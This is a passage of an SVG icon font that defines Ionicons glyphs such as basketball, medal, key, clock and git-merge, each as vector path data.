    <glyph glyph-name="ion-ios-basketball" unicode="&#xf3e0;" 
d="M171 142c-22 23 -48 42 -77 56s-60 22 -92 24c5 33 18 64 36 90c64 -28 122 -68 172 -118c3 -3 5 -6 8 -9l-6 -6c-13 -13 -27 -25 -41 -37zM278 262c-21 21 -37 46 -49 73c-9 21 -15 43 -17 65c45 -1 87 -16 121 -42c-15 -34 -32 -67 -53 -97c-1 0 -2 1 -2 1zM351 213
c-18 8 -36 19 -52 31c21 30 40 62 55 96c37 -37 61 -88 62 -144c-22 2 -44 8 -65 17zM146 130c1 -1 2 -3 4 -4c-33 -24 -68 -46 -105 -63c-28 35 -45 80 -45 129v4c25 -2 50 -7 73 -17c27 -12 52 -28 73 -49zM236 204c-26 27 -56 52 -86 74c-30 21 -62 40 -95 55
c33 36 79 61 131 66c6 -61 35 -117 79 -159c-9 -12 -19 -25 -29 -36zM253 185c11 12 21 24 31 37c38 -29 83 -47 131 -52c-5 -52 -30 -97 -66 -131c-24 53 -57 102 -96 146zM187 122c17 14 34 28 49 44c38 -43 69 -91 92 -144c-26 -18 -57 -31 -90 -36c-4 49 -21 96 -51 136
zM167 106c11 -15 21 -31 28 -49c10 -23 15 -48 17 -73h-4c-56 0 -107 23 -145 59c37 17 72 39 104 63z" />
    <glyph glyph-name="ion-ios-at" unicode="&#xf3da;" horiz-adv-x="384" 
d="M384 214c0 -74 -35 -121 -90 -121c-28 0 -49 15 -53 37h-4c-10 -23 -30 -36 -57 -36c-49 0 -82 40 -82 98c0 56 33 94 81 94c25 0 46 -12 55 -32h4v28h39v-130c0 -16 9 -26 25 -26c28 0 46 34 46 86c0 83 -63 139 -155 139c-91 0 -156 -66 -156 -160
c0 -96 64 -158 164 -158c20 0 40 2 55 5c10 2 18 -6 18 -16v0c0 -7 -5 -13 -12 -15c-18 -4 -39 -7 -62 -7c-122 0 -200 75 -200 192c0 114 79 192 195 192c111 0 189 -69 189 -170zM141 191c0 -37 18 -60 46 -60c30 0 49 24 49 60s-20 59 -49 59s-46 -22 -46 -59z" />
    <glyph glyph-name="ion-md-pulse" unicode="&#xf35d;" horiz-adv-x="448" 
d="M396 179c29 0 52 -22 52 -51c0 -14 -5 -27 -15 -37s-23 -16 -37 -16c-20 0 -40 12 -48 31h-56c-9 0 -16 6 -19 14l-16 40l-40 -162c-2 -8 -10 -14 -19 -14h-1c-10 1 -17 7 -19 16l-54 282l-31 -161c-2 -9 -10 -15 -19 -15h-74v40h58l51 238c2 10 9 16 19 16s18 -8 20 -18
l55 -292l34 136c2 8 10 14 19 14v0c9 0 16 -5 19 -13l31 -81h42c8 20 26 33 48 33z" />
    <glyph glyph-name="ion-ios-medal" unicode="&#xf1bf;" 
d="M2 324h126c1 0 2 -1 2 -2v-118c0 -1 -2 -2 -3 -2l-104 29c-14 4 -23 17 -23 31v60c0 1 1 2 2 2zM208 166zM156 322c0 1 1 2 2 2h106c1 0 2 -1 2 -2v-124c0 -1 0 -2 -1 -2l-56 -16h-1l-50 14c-1 0 -2 1 -2 2v126zM286 322c0 1 1 2 2 2h126c1 0 2 -1 2 -2v-60
c0 -14 -9 -27 -23 -31l-104 -30c-1 0 -3 1 -3 2v119zM0 384c0 18 14 32 32 32h352c18 0 32 -14 32 -32v-38c0 -1 -1 -2 -2 -2h-412c-1 0 -2 1 -2 2v38zM208 140zM152 96c0 31 25 56 56 56s56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56zM303 181c20 -23 33 -52 33 -85
c0 -71 -57 -128 -128 -128s-128 57 -128 128c0 33 13 63 33 86l51 -14c-24 -15 -40 -42 -40 -72c0 -46 38 -84 84 -84s84 38 84 84c0 30 -16 57 -40 72zM208 152c31 0 56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56s25 56 56 56z" />
    <glyph glyph-name="ion-md-shuffle" unicode="&#xf37b;" horiz-adv-x="384" 
d="M158 260l-34 -34l-124 124l34 34zM252 384h132v-132l-49 49l-301 -301l-34 34l301 301zM260 158l75 -75l49 49v-132h-132l49 49l-75 75z" />
    <glyph glyph-name="ion-md-flower" unicode="&#xf2f3;" horiz-adv-x="384" 
d="M341 192c25 -12 43 -37 43 -67c0 -41 -34 -74 -75 -74c-16 0 -31 5 -43 13l1 -6c0 -41 -34 -74 -75 -74s-75 33 -75 74l1 6c-12 -8 -27 -13 -43 -13c-41 0 -75 33 -75 74c0 30 18 55 43 67c-25 12 -43 37 -43 67c0 41 34 74 75 74c16 0 31 -5 43 -13l-1 6
c0 41 34 74 75 74s75 -33 75 -74l-1 -6c12 8 27 13 43 13c41 0 75 -33 75 -74c0 -30 -18 -55 -43 -67zM192 118c41 0 75 33 75 74s-34 74 -75 74s-75 -33 -75 -74s34 -74 75 -74z" />
    <glyph glyph-name="ion-md-walk" unicode="&#xf3a4;" horiz-adv-x="272" 
d="M168 336c-22 0 -40 18 -40 40s18 40 40 40s40 -18 40 -40s-18 -40 -40 -40zM168 216l-20 38l-20 -62l57 -96v-128h-38v96l-50 68l-57 -164h-40l81 320l-41 -16v-80h-40v112l111 38c4 1 10 1 13 1c13 0 23 -6 31 -18l45 -69h72v-40h-104z" />
    <glyph glyph-name="ion-md-add-circle" unicode="&#xf272;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM315 171v42h-86v86h-42v-86h-86v-42h86v-86h42v86h86z" />
    <glyph glyph-name="ion-ios-thumbs-up" unicode="&#xf256;" horiz-adv-x="384" 
d="M367 59c-2 -2 -4 -5 -3 -8c0 -1 1 -2 1 -3c3 -6 5 -13 1 -23c-11 -26 -45 -33 -76 -37c-17 -2 -36 -4 -56 -4c-38 0 -81 4 -113 8c-22 3 -34 7 -46 12c-16 6 -31 12 -67 12c-5 0 -8 3 -8 8v160c0 4 4 8 8 8c6 0 15 3 22 10c3 3 9 11 14 19c8 12 17 25 26 33c2 2 6 5 10 9
c17 15 49 43 57 60c5 11 9 30 12 42c4 15 3 23 6 27c5 6 16 8 28 8s20 -9 26 -19c12 -21 13 -57 3 -90c-5 -17 -11 -28 -15 -36c-3 -6 -5 -11 -5 -13c1 -5 4 -6 17 -5c3 0 11 1 21 3c25 4 62 10 80 11c26 2 37 0 47 -12c8 -9 13 -24 8 -38c-2 -6 0 -14 4 -18
c5 -5 10 -11 10 -23c0 -13 -3 -21 -6 -26c-2 -3 -3 -6 -2 -10v-1c0 -1 1 -2 2 -3c5 -6 11 -15 11 -29c0 -15 -9 -26 -17 -32z" />
    <glyph glyph-name="ion-ios-rocket" unicode="&#xf14b;" 
d="M414 394c13 -57 -34 -180 -102 -248c-13 -13 -27 -24 -40 -33c2 -21 1 -41 -7 -59c-22 -50 -80 -66 -105 -70c-6 -1 -12 4 -11 10l9 81c-8 0 -14 1 -18 1s-8 3 -11 6l-32 31c-3 3 -5 7 -5 11s-1 10 -1 18l-81 -8c-6 -1 -11 4 -10 10c4 25 19 83 69 105c18 8 39 9 60 7
c9 13 20 27 33 40c68 68 195 115 249 102c2 0 3 -2 3 -4zM251 234c17 -17 43 -17 60 0s17 44 0 61s-43 17 -60 0s-17 -44 0 -61zM127 68c2 2 5 0 5 -3c-1 -10 -5 -19 -13 -27c-18 -18 -85 -20 -85 -20s2 67 20 85c8 8 17 12 27 13c3 0 5 -4 3 -6v0c-4 -4 -7 -12 -8 -20
c-3 -18 13 -33 31 -30c8 1 16 4 20 8v0z" />
    <glyph glyph-name="ion-md-alarm" unicode="&#xf274;" horiz-adv-x="428" 
d="M428 323l-28 -33l-98 82l28 33zM125 373l-97 -83l-28 33l97 83zM225 275v0v-111l85 -50l-16 -27l-101 61v127h32zM214 360c106 0 193 -86 193 -191s-87 -191 -193 -191c-107 0 -193 86 -193 191s86 191 193 191zM214 20c82 0 150 66 150 149c0 82 -68 149 -150 149
s-150 -67 -150 -149s68 -149 150 -149z" />
    <glyph glyph-name="ion-ios-sad" unicode="&#xf207;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM134 248c-12 -1 -21 -10 -22 -22c-1 -15 11 -27 26 -26c12 1 21 10 22 22c1 15 -11 27 -26 26zM133 96c0 0 39 4 77 4s73 -4 73 -4c12 0 19 11 14 22c-15 34 -49 59 -89 59
s-74 -25 -89 -59c-5 -11 2 -22 14 -22zM282 200c12 1 21 10 22 22c1 15 -11 27 -26 26c-12 -1 -21 -10 -22 -22c-1 -15 11 -27 26 -26z" />
    <glyph glyph-name="ion-md-nuclear" unicode="&#xf339;" horiz-adv-x="448" 
d="M304 176h144c0 -83 -46 -153 -114 -192l-71 122c-12 -6 -25 -10 -39 -10s-28 3 -40 10l-70 -122c-68 39 -114 109 -114 192h144c0 29 15 54 38 68l-71 125c33 19 72 31 113 31s80 -11 113 -30l-73 -124c24 -14 40 -40 40 -70z" />
    <glyph glyph-name="ion-md-attach" unicode="&#xf28e;" horiz-adv-x="235" 
d="M203 320h32v-235c0 -65 -53 -117 -118 -117s-117 52 -117 117v246c0 47 38 85 85 85s86 -38 86 -85v-246c0 -30 -24 -53 -54 -53s-53 23 -53 53v203h32v-203c0 -12 9 -21 21 -21s22 9 22 21v246c0 30 -24 53 -54 53s-53 -23 -53 -53v-246c0 -47 38 -85 85 -85
s86 38 86 85v235z" />
    <glyph glyph-name="ion-ios-more" unicode="&#xf1c8;" horiz-adv-x="384" 
d="M192 230v0c21 0 38 -17 38 -38s-17 -38 -38 -38s-38 17 -38 38s17 38 38 38zM38 230v0c21 0 38 -17 38 -38s-17 -38 -38 -38s-38 17 -38 38s17 38 38 38zM346 230v0c21 0 38 -17 38 -38s-17 -38 -38 -38s-38 17 -38 38s17 38 38 38z" />
    <glyph glyph-name="ion-md-tablet-portrait" unicode="&#xf38d;" horiz-adv-x="320" 
d="M296 416c13 0 24 -11 24 -24v-400c0 -13 -11 -24 -24 -24h-272c-13 0 -24 11 -24 24v400c0 13 11 24 24 24h272zM288 32v336h-256v-336h256zM160 -14c8 0 14 6 14 14s-6 14 -14 14s-14 -6 -14 -14s6 -14 14 -14z" />
    <glyph glyph-name="ion-md-journal" unicode="&#xf18d;" horiz-adv-x="341" 
d="M32 405h203v-426h-203c-18 0 -32 14 -32 32v362c0 18 14 32 32 32zM299 405c23 0 42 -19 42 -42v-342c0 -23 -19 -42 -42 -42h-16v426h16z" />
    <glyph glyph-name="ion-md-arrow-dropright" unicode="&#xf284;" horiz-adv-x="128" 
d="M0 320l128 -128l-128 -128v256z" />
    <glyph glyph-name="ion-md-flame" unicode="&#xf2f0;" horiz-adv-x="320" 
d="M297 226c14 -24 23 -47 23 -85s-4 -74 -32 -106s-63 -51 -119 -51c-17 0 -34 1 -48 7s-25 13 -33 25c-11 16 -21 28 -25 52c-6 -25 -1 -48 6 -60c-43 26 -69 71 -69 125v4c5 78 65 93 90 135c8 14 14 30 10 48c11 -9 18 -26 18 -40c0 -16 -2 -28 -2 -28c4 8 12 18 14 31
c6 35 -10 70 -50 117l17 -2c94 -16 168 -56 188 -154c7 -36 -3 -68 -10 -83c14 11 21 43 22 55v10z" />
    <glyph glyph-name="ion-ios-volume-low" unicode="&#xf11e;" horiz-adv-x="256" 
d="M151 302c6 -3 9 -8 9 -14v-192c0 -6 -3 -11 -9 -14c-2 -1 -5 -2 -7 -2c-4 0 -7 2 -10 4l-65 52h-53c-9 0 -16 7 -16 16v80c0 9 7 16 16 16h53l65 52c3 2 6 4 10 4c2 0 5 -1 7 -2zM226 265c19 -20 30 -45 30 -73v0v0c0 -28 -11 -54 -30 -74c-2 -2 -5 -3 -8 -3s-6 1 -8 3
c-5 5 -5 12 0 17c15 15 22 36 22 57v0v0c0 22 -7 41 -22 56c-5 5 -5 13 0 18s11 4 16 -1z" />
    <glyph glyph-name="ion-md-switch" unicode="&#xf38a;" horiz-adv-x="288" 
d="M56 232c-31 0 -56 25 -56 56s25 56 56 56h95c14 15 35 24 57 24c44 0 80 -36 80 -80s-36 -80 -80 -80c-22 0 -43 9 -57 24h-95zM39 305c-5 -4 -7 -11 -7 -17s2 -12 7 -17c4 -5 11 -7 17 -7h76c-2 8 -4 16 -4 24s2 16 4 24h-76c-6 0 -12 -2 -17 -7zM232 152
c31 0 56 -25 56 -56s-25 -56 -56 -56h-95c-14 -15 -35 -24 -57 -24c-44 0 -80 36 -80 80s36 80 80 80c22 0 43 -9 57 -24h95zM249 79c5 4 7 11 7 17s-2 12 -7 17c-4 5 -11 7 -17 7h-76c2 -8 4 -16 4 -24s-2 -16 -4 -24h76c6 0 12 2 17 7z" />
    <glyph glyph-name="ion-md-information-circle-outline" unicode="&#xf16f;" 
d="M208 358c-44 0 -86 -18 -117 -49s-49 -73 -49 -117s18 -86 49 -117s73 -49 117 -49s86 18 117 49s49 73 49 117s-18 86 -49 117s-73 49 -117 49zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM229 88h-42v125h42v-125z
M229 254h-42v42h42v-42z" />
    <glyph glyph-name="ion-md-swap" unicode="&#xf389;" horiz-adv-x="448" 
d="M99 217v-75h175v-49h-175v-75l-99 99zM448 267l-99 -100v75h-175v49h175v75z" />
    <glyph glyph-name="ion-md-film" unicode="&#xf2ed;" horiz-adv-x="320" 
d="M280 384h40v-384h-40v43h-40v-43h-160v43h-40v-43h-40v384h40v-43h40v43h160v-43h40v43zM80 85v43h-40v-43h40zM80 171v42h-40v-42h40zM80 256v43h-40v-43h40zM280 85v43h-40v-43h40zM280 171v42h-40v-42h40zM280 256v43h-40v-43h40z" />
    <glyph glyph-name="ion-md-moon" unicode="&#xf32e;" horiz-adv-x="410" 
d="M144 323c0 -106 86 -192 192 -192c26 0 51 5 74 15c-22 -91 -104 -159 -202 -159c-115 0 -208 93 -208 208c0 98 68 180 159 202c-10 -23 -15 -48 -15 -74z" />
    <glyph glyph-name="ion-md-partly-sunny" unicode="&#xf340;" horiz-adv-x="448" 
d="M235 312l-19 19l25 25l19 -19zM144 322c30 0 56 -15 70 -39c-7 -2 -13 -4 -19 -7c-20 -9 -37 -22 -51 -39l-13 -16c-21 -5 -39 -15 -54 -28c-9 13 -15 29 -15 47c0 45 37 82 82 82zM130 343v41h28v-41h-28zM0 226v28h41v-28h-41zM50 171l18 -18l-25 -25l-19 19l25 25z
M28 337l19 19l25 -25l-19 -19zM374 159c42 -3 74 -37 74 -79c0 -44 -36 -80 -80 -80h-208c-53 0 -96 43 -96 96c0 47 32 85 78 94c5 1 13 2 18 2c43 0 78 -27 91 -64h28c-6 21 -16 39 -32 55c-21 21 -48 32 -77 34c21 27 52 39 86 39c58 0 107 -42 118 -97z" />
    <glyph glyph-name="ion-md-subway" unicode="&#xf387;" horiz-adv-x="352" 
d="M176 400c94 0 176 -10 176 -85v-214c0 -42 -33 -74 -75 -74l27 -27v-16h-256v16l27 27c-42 0 -75 32 -75 74v214c0 75 82 85 176 85zM80 64c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM160 208v96h-112v-96h112zM272 64c18 0 32 14 32 32
s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM304 208v96h-112v-96h112z" />
    <glyph glyph-name="ion-ios-cloudy-night" unicode="&#xf40e;" horiz-adv-x="448" 
d="M246 153c42 0 76 -35 76 -77s-34 -76 -76 -76h-186c-34 0 -60 29 -60 62c0 32 24 59 55 62v9c0 50 41 91 92 91c44 0 80 -30 89 -71h8h2zM420 143c7 0 16 2 23 3c4 0 6 -3 4 -6c-4 -6 -10 -13 -15 -19c-22 -25 -53 -43 -87 -51c0 2 1 4 1 6c0 26 -10 52 -29 71
c-17 17 -39 28 -63 30c-7 18 -19 34 -34 46c-21 17 -47 25 -73 25h-5c9 61 54 112 114 130c8 2 15 5 23 6c3 0 6 -3 4 -6l-11 -19c-10 -20 -16 -42 -16 -65c0 -40 16 -79 46 -107c30 -29 68 -45 110 -45c3 0 6 1 8 1z" />
    <glyph glyph-name="ion-ios-ribbon" unicode="&#xf205;" horiz-adv-x="384" 
d="M191 155c-70 1 -129 59 -130 129c-1 73 59 133 132 132c70 -1 129 -60 130 -130c1 -73 -59 -132 -132 -131zM187 359c-37 -2 -66 -32 -68 -69c-3 -44 34 -81 78 -78c37 2 66 31 68 68c3 44 -34 82 -78 79zM192 140c9 0 18 0 27 2c3 1 5 -3 4 -6l-31 -69l-43 -94
c-3 -6 -12 -7 -15 -1l-39 65c-2 2 -4 4 -7 4h-80c-6 0 -10 6 -7 12l76 133c1 2 4 3 6 1c27 -29 66 -47 109 -47zM300 187c2 2 5 1 7 -1l76 -133c3 -6 -1 -12 -7 -12h-80c-3 0 -5 -2 -7 -4l-39 -65c-3 -6 -12 -5 -15 1l-34 74v4l45 97c0 1 1 3 2 3c20 8 37 20 52 36z" />
    <glyph glyph-name="ion-logo-css3" unicode="&#xf231;" horiz-adv-x="384" 
d="M192 109v0zM0 416h384l-35 -403l-157 -45l-157 45zM291 81l22 252h-241l4 -49h184l-4 -51h-121l4 -50h112l-5 -64l-54 -15v0v0l-53 15l-4 40h-48l7 -78l98 -28z" />
    <glyph glyph-name="ion-md-remove" unicode="&#xf368;" horiz-adv-x="320" 
d="M0 171v42h320v-42h-320z" />
    <glyph glyph-name="ion-ios-share" unicode="&#xf211;" horiz-adv-x="320" 
d="M280 272c22 0 40 -18 40 -40v-208c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v208c0 22 18 40 40 40h107v-147c0 -7 6 -13 14 -13c7 0 12 6 12 13v147h107zM173 356v-84h-26v84l-48 -47c-5 -5 -13 -5 -18 0s-5 13 0 18l70 69v0c1 1 2 2 4 3s3 1 5 1c3 0 7 -2 9 -4
l70 -69c5 -5 5 -13 0 -18s-13 -5 -18 0z" />
    <glyph glyph-name="ion-ios-arrow-dropleft" unicode="&#xf112;" 
d="M253 300c8 -8 8 -19 0 -27l-81 -81l79 -81c8 -8 8 -19 0 -27c-4 -4 -8 -6 -13 -6s-10 2 -14 6l-94 94c-7 8 -6 20 1 27l95 95c8 8 19 8 27 0zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM332 68c33 33 52 77 52 124
s-19 91 -52 124s-77 52 -124 52s-91 -19 -124 -52s-52 -77 -52 -124s19 -91 52 -124s77 -52 124 -52s91 19 124 52z" />
    <glyph glyph-name="ion-md-checkbox" unicode="&#xf2b9;" horiz-adv-x="384" 
d="M341 384c23 0 43 -20 43 -43v-298c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h298zM149 85l192 192l-30 30l-162 -162l-76 77l-30 -30z" />
    <glyph glyph-name="ion-ios-bookmarks" unicode="&#xf3ea;" horiz-adv-x="432" 
d="M376 416c30 0 56 -25 56 -55v-290c0 -30 -25 -55 -55 -55h-108c-4 0 -8 0 -12 -1c-16 -3 -27 -17 -27 -33c0 -8 -8 -15 -16 -14c-7 1 -12 7 -12 14c0 16 -12 30 -27 33c-4 1 -8 1 -12 1h-108c-30 0 -55 25 -55 55v290c0 30 25 55 55 55h106v0c22 0 41 -18 41 -41v-314
c0 -8 7 -14 15 -14s13 6 13 14v314c0 23 19 41 41 41v0h41v-128l23 15l9 6l9 -6l23 -15v128z" />
    <glyph glyph-name="ion-ios-key" unicode="&#xf1a7;" 
d="M297 230c66 0 119 -54 119 -122s-53 -124 -119 -124s-119 56 -119 124c0 18 2 32 9 48c-3 5 -9 11 -10 17c-1 5 7 25 6 30s-8 10 -11 11c-9 2 -25 -11 -31 -10s-21 14 -22 24s15 24 5 34s-21 -3 -30 -3c-7 0 -11 4 -16 9c-6 6 -9 11 -9 19s4 18 3 24s-2 9 -10 12
s-27 -7 -36 3c-6 6 -10 9 -25 24c-5 5 21 33 28 40c5 4 13 10 21 10c5 0 10 -2 15 -7c10 -11 143 -124 194 -167c12 4 25 4 38 4zM320 48c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-md-basketball" unicode="&#xf293;" 
d="M144 176h48v-192c-42 3 -81 19 -113 44c38 41 61 93 65 148zM224 -16v192h49c4 -55 26 -107 64 -148c-32 -25 -71 -41 -113 -44zM192 400v-192h-48c-3 55 -26 107 -64 148c31 25 70 41 112 44zM273 208h-49v192c42 -3 80 -19 112 -44c-38 -41 -60 -93 -63 -148zM361 334
c31 -34 51 -78 55 -126h-110c2 22 6 43 14 63c9 23 24 45 41 63zM320 115c-8 20 -12 40 -14 61h110c-4 -48 -24 -91 -55 -125c-18 19 -31 40 -41 64zM96 271c8 -20 12 -41 14 -63h-110c4 48 25 92 56 126c17 -19 30 -40 40 -63zM55 51c-31 34 -51 77 -55 125h110
c-2 -21 -6 -41 -14 -61c-10 -24 -23 -45 -41 -64z" />
    <glyph glyph-name="ion-md-pause" unicode="&#xf341;" horiz-adv-x="320" 
d="M0 0v384h107v-384h-107zM213 384h107v-384h-107v384z" />
    <glyph glyph-name="ion-md-return-right" unicode="&#xf36e;" horiz-adv-x="448" 
d="M0 312h47v-96h311l-85 86l33 34l142 -144l-142 -144l-33 34l85 86h-358v144z" />
    <glyph glyph-name="ion-ios-star" unicode="&#xf4b3;" horiz-adv-x="448" 
d="M431 256c9 0 17 -7 17 -16c0 -4 -2 -8 -5 -11l-3 -2l-120 -86l46 -135c2 -7 1 -14 -5 -18c-3 -2 -6 -4 -9 -4s-7 2 -10 4l-118 84l-118 -84c-3 -2 -7 -4 -10 -4s-6 2 -9 4c-6 4 -7 12 -5 18l46 135l-121 85c-5 4 -7 7 -7 11v3c0 9 7 16 16 16v0h148l45 133
c2 6 8 11 15 11s13 -5 15 -11l45 -133h147z" />
    <glyph glyph-name="ion-ios-female" unicode="&#xf17b;" 
d="M14 -16c-4 0 -7 1 -10 4c-5 5 -5 14 0 19l45 45l-37 37c-5 5 -5 14 0 19c2 3 5 4 9 4s7 -1 10 -4l37 -37l50 50c-26 31 -40 70 -40 110c0 23 4 45 13 66c8 20 20 37 36 53s34 29 54 37c21 9 43 13 66 13s45 -4 66 -13c20 -8 37 -21 53 -37s29 -33 37 -53
c9 -21 13 -43 13 -66s-4 -45 -13 -66c-8 -20 -21 -38 -37 -54s-33 -28 -53 -36c-21 -9 -43 -13 -66 -13c-40 0 -79 14 -110 40l-50 -50l37 -37c5 -5 5 -14 0 -19c-2 -3 -5 -4 -9 -4s-7 1 -10 4l-37 37l-45 -45c-2 -3 -5 -4 -9 -4zM146 331c-27 -27 -41 -62 -41 -100
s15 -73 42 -100s62 -42 100 -42s73 15 100 42s42 62 42 100s-15 73 -42 100s-62 42 -100 42s-74 -15 -101 -42z" />
    <glyph glyph-name="ion-logo-playstation" unicode="&#xf245;" horiz-adv-x="512" 
d="M400 245c0 -11 0 -22 -2 -33c-2 -10 -5 -20 -10 -28c-4 -7 -10 -13 -18 -17c-7 -4 -16 -6 -24 -6c-13 0 -31 4 -42 9v131v2c0 9 -7 17 -15 17h-1c-9 0 -16 -8 -16 -17v-3v-300l-80 26v358s28 -4 75 -18s67 -21 84 -31c8 -5 15 -11 21 -17c7 -7 13 -14 17 -23
c8 -16 10 -33 11 -50zM87 90c-4 -2 -8 -3 -11 -6c-1 -1 -3 -3 -2 -5s4 -4 6 -5c6 -2 13 -3 19 -3c7 0 15 0 22 2c5 1 9 3 14 5c30 10 41 12 41 12v-42c-14 -2 -36 -4 -50 -4c-30 -1 -60 4 -88 13c-9 3 -19 6 -27 12c-4 3 -8 8 -10 13c-2 4 -1 9 1 13s5 8 9 11
c9 6 18 10 28 14c8 4 17 7 26 10c35 12 111 37 111 37v-47s-62 -20 -89 -30zM512 102c0 -5 -2 -9 -5 -13c-6 -7 -14 -11 -22 -15s-17 -8 -26 -11c-54 -19 -171 -59 -171 -59v48s92 30 133 44c6 2 11 4 16 8c2 2 4 3 3 6c-1 2 -4 4 -6 5c-6 2 -13 3 -19 3
c-10 0 -20 -2 -30 -5c-29 -10 -97 -32 -97 -32v49s45 14 67 16c8 1 23 1 31 1c26 0 54 -3 79 -11c5 -2 8 -3 14 -5c9 -3 18 -8 25 -14c4 -4 8 -9 8 -15z" />
    <glyph glyph-name="ion-ios-git-merge" unicode="&#xf186;" horiz-adv-x="384" 
d="M314 230c39 0 70 -31 70 -70s-31 -70 -70 -70c-33 0 -61 24 -68 56c-12 0 -25 3 -50 13c-31 12 -72 32 -113 89v-141c15 -3 29 -11 39 -22c12 -13 18 -30 18 -47c0 -39 -31 -70 -70 -70s-70 31 -70 70c0 17 6 33 17 46c10 11 24 19 38 22v172c-15 3 -28 11 -38 22
c-11 13 -17 29 -17 46c0 39 31 70 70 70s70 -31 70 -70c0 -30 -18 -56 -45 -66c40 -63 81 -83 111 -95c21 -8 29 -11 39 -11c6 32 35 56 69 56zM112 38c0 23 -19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42s42 19 42 42zM70 304c23 0 42 19 42 42s-19 42 -42 42
s-42 -19 -42 -42s19 -42 42 -42zM314 118c23 0 42 19 42 42s-19 42 -42 42s-42 -19 -42 -42s19 -42 42 -42z" />
    <glyph glyph-name="ion-md-remove-circle-outline" unicode="&#xf176;" 
d="M208 358c-44 0 -86 -18 -117 -49s-49 -73 -49 -117s18 -86 49 -117s73 -49 117 -49s86 18 117 49s49 73 49 117s-18 86 -49 117s-73 49 -117 49zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM315 171h-214v42h214v-42z" />
    <glyph glyph-name="ion-ios-clock" unicode="&#xf403;" 
d="M355 339c81 -81 81 -213 0 -294s-213 -81 -294 0s-81 213 0 294s213 81 294 0zM42 184c3 1 5 3 6 6c1 6 -3 11 -9 10c-3 -1 -6 -3 -7 -6c-1 -6 4 -11 10 -10zM68 102c2 2 3 5 2 8c-2 5 -9 8 -13 4c-2 -2 -3 -5 -2 -8c2 -5 9 -8 13 -4zM70 274c1 3 0 6 -2 8
c-4 4 -11 1 -13 -4c-1 -3 0 -6 2 -8c4 -4 11 -1 13 4zM132 44c1 3 -1 6 -3 8c-4 4 -10 2 -12 -3c-1 -3 0 -7 2 -9c4 -4 11 -1 13 4zM129 332c2 2 4 5 3 8c-2 5 -9 8 -13 4c-2 -2 -3 -6 -2 -9c2 -5 8 -7 12 -3zM165 255l33 -61c1 -2 2 -5 2 -8v-122c0 -5 3 -8 8 -8s8 3 8 8
v122c0 5 -2 10 -4 15l-34 63c-2 4 -7 4 -11 2s-4 -7 -2 -11zM210 16c3 1 5 3 6 6c1 6 -3 11 -9 10c-3 -1 -6 -3 -7 -6c-1 -6 4 -11 10 -10zM210 352c3 1 5 3 6 6c1 6 -3 11 -9 10c-3 -1 -6 -3 -7 -6c-1 -6 4 -11 10 -10zM297 40c2 2 4 6 3 9c-2 5 -9 7 -13 3
c-2 -2 -3 -5 -2 -8c2 -5 8 -8 12 -4zM300 335c1 3 -1 7 -3 9c-4 4 -10 1 -12 -4c-1 -3 0 -6 2 -8c4 -4 11 -2 13 3zM361 106c1 3 0 6 -2 8c-4 4 -11 1 -13 -4c-1 -3 0 -6 2 -8c4 -4 11 -1 13 4zM359 270c2 2 3 5 2 8c-2 5 -9 8 -13 4c-2 -2 -3 -5 -2 -8c2 -5 9 -8 13 -4z
M378 184c3 1 5 3 6 6c1 6 -3 11 -9 10c-3 -1 -6 -3 -7 -6c-1 -6 4 -11 10 -10z" />
    <glyph glyph-name="ion-md-sunny" unicode="&#xf388;" horiz-adv-x="448" 
d="M245 416v0v-64h-42v64h42zM374 372v0l30 -30l-38 -38l-30 30zM74 372v0l38 -38l-30 -30l-38 38zM224 320v0c70 0 128 -58 128 -128s-58 -128 -128 -128s-128 58 -128 128s58 128 128 128zM448 213v0v-42h-64v42h64zM64 213v0v-42h-64v42h64zM366 80v0l38 -38l-30 -30
l-38 38zM82 80v0l30 -30l-38 -38l-30 30zM245 32v0v-64h-42v64h42z" />
    <glyph glyph-name="ion-ios-add-circle" unicode="&#xf101;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM298 176c9 0 16 7 16 16s-7 16 -16 16h-74v74c0 9 -7 16 -16 16s-16 -7 -16 -16v-74h-74c-9 0 -16 -7 -16 -16c0 -4 1 -8 4 -11s8 -5 12 -5h74v-74c0 -4 2 -9 5 -12s7 -4 11 -4
c9 0 16 7 16 16v74h74z" />
    <glyph glyph-name="ion-ios-browsers" unicode="&#xf3f0;" 
d="M0 267c0 22 18 40 40 40h243c22 0 40 -18 40 -40v-243c0 -22 -18 -40 -40 -40h-243c-22 0 -40 18 -40 40v243zM93 360c0 22 18 40 40 40h243c22 0 40 -18 40 -40v-243c0 -22 -18 -40 -40 -40h-28c-2 0 -4 2 -4 4v199c0 26 -22 48 -48 48h-199c-2 0 -4 2 -4 4v28z" />
    <glyph glyph-name="ion-ios-git-pull-request" unicode="&#xf188;" horiz-adv-x="384" 
d="M329 106c14 -3 28 -11 38 -22c11 -13 17 -29 17 -46c0 -39 -31 -70 -70 -70s-70 31 -70 70c0 17 6 34 18 47c10 11 24 19 39 22v135c0 17 -1 41 -9 58c-8 16 -22 24 -42 24h-77l41 -40v0c3 -3 4 -6 4 -10s-1 -7 -4 -10s-6 -4 -10 -4s-7 1 -10 4l-56 56
c-3 -11 -8 -21 -16 -29c-10 -11 -24 -19 -39 -22v-162c15 -3 29 -11 39 -22c12 -13 18 -30 18 -47c0 -39 -31 -70 -70 -70s-70 31 -70 70c0 17 6 33 17 46c10 11 24 19 38 22v164c-15 3 -28 11 -38 22c-11 13 -17 29 -17 46c0 39 31 70 70 70c32 0 59 -22 67 -51l55 55
